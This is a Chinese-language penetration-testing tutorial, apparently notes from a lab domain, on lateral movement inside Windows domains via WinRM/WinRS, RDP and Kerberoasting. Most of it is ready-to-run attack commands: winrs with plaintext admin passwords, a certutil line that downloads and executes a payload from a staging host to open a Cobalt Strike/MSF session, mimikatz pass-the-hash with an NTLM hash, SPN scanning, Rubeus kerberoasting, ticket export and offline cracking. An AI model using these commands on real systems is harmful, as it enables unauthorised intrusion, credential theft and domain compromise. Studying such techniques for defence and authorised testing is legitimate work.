环境介绍与横向移动前置
看之前的文章
域横向移动-WinRM-WinRS
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件:
- 双方都启用的Winrm rs的服务!(端口默认为5985)
- 使用此服务需要管理员级别凭据。
- Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
- Windows 2012之后的版本默认允许远程任意主机来管理。
步骤
0、攻击机开启winrm服务:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
1.CS探针5985端口:
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2.连接目标主机并执行命令:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami
注:CS 中执行是没有回显的
3.上线CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe 4455.exe & 4455.exe"
4.CS内置横向移动-winrm
试了下但没有成功
域横向移动-RDP
简介与条件
RDP远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面
当前我们已经取到31主机的权限,目前要利用RDP连接到32,且32是不出网的。这时我们肯定是需要用31做为跳板机去实现。
以下是利用RDP进行连接的三种方式
RDP横向移动连接的三种操作
1.直接连接当前被控主机进行远程连接 (不推荐,容易被发现)
2.建立节点进行连接 (推荐)
3.端口转发(当前2222 去访问目标的3389,相当于把访问目标3389的流量转发到本地的2222,访问本机2222就是连接目标3389),这种方式需要上传端口转发工具
注意点:一定不要在当前已经登录的用户上进行连接(你也不想看到电脑鼠标自己在动吧)
方案2远程连接演示(建立节点)
CS中对被控主机建立一个节点
本机连接代理服务器
打开本机的远程桌面连接,填写32主机IP与用户名
选择其他用户登录并写好账号与密码,密码可以由CS密码凭据获得
连接成功
1.探针服务:
cs 内置端口扫描3389
tasklist /svc | find "TermService" # 找到对应远程桌面服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
2.探针连接:
CrackMapExec&MSF 批扫用户名密码验证
这一步主要是判断域内哪些主机可以连接
3.连接执行:
明文连接:
mstsc /console /v:192.168.3.32 /admin
HASH连接:
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
域横向移动-Spn&Kerberos
Kerberoasting 攻击的利用:
- SPN服务发现
- 请求服务票据
- 服务票据的导出
- 服务票据的暴力破解
GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
GitHub - nidem/kerberoast
技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户
如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。
黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
Kerberos攻击条件:
采用rc4加密类型票据,工具Rubeus检测或看票据加密类型
加密类型配置
这里只有选择RC4加密类型的才能破解,AES是无法破解的
也可以用 klist
命令查看
这里是AES的,就无法进行kerberos攻击
1.SPN扫描:
注意修改为自己的域名
SPN扫描域内主机开启的全部服务
setspn -T god.org -q */*
扫描指定服务
setspn -T god.org -q */* | findstr "MSSQL"
2.自动检测域内存在kerberoast攻击的对象:
Rubeus kerberoast
3.手动检测:(要产生票据文件)
除了用 Rubeus
工具自动检测,也可以手动检测
【powershell运行】
Add-Type -AssemblyName System.IdentityModel
【powershell运行】
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
【mimikatz导出票据】
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433
其中第二条命令的ArgumentList
参数,可以用 SPN
检测命令进行获取
4.导出:
mimikatz kerberos::list /export
5.破解RC4加密的票据:
python tgsrepcrack.py pass.txt "2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
将票据复制到本地, pass.txt
是字典
密码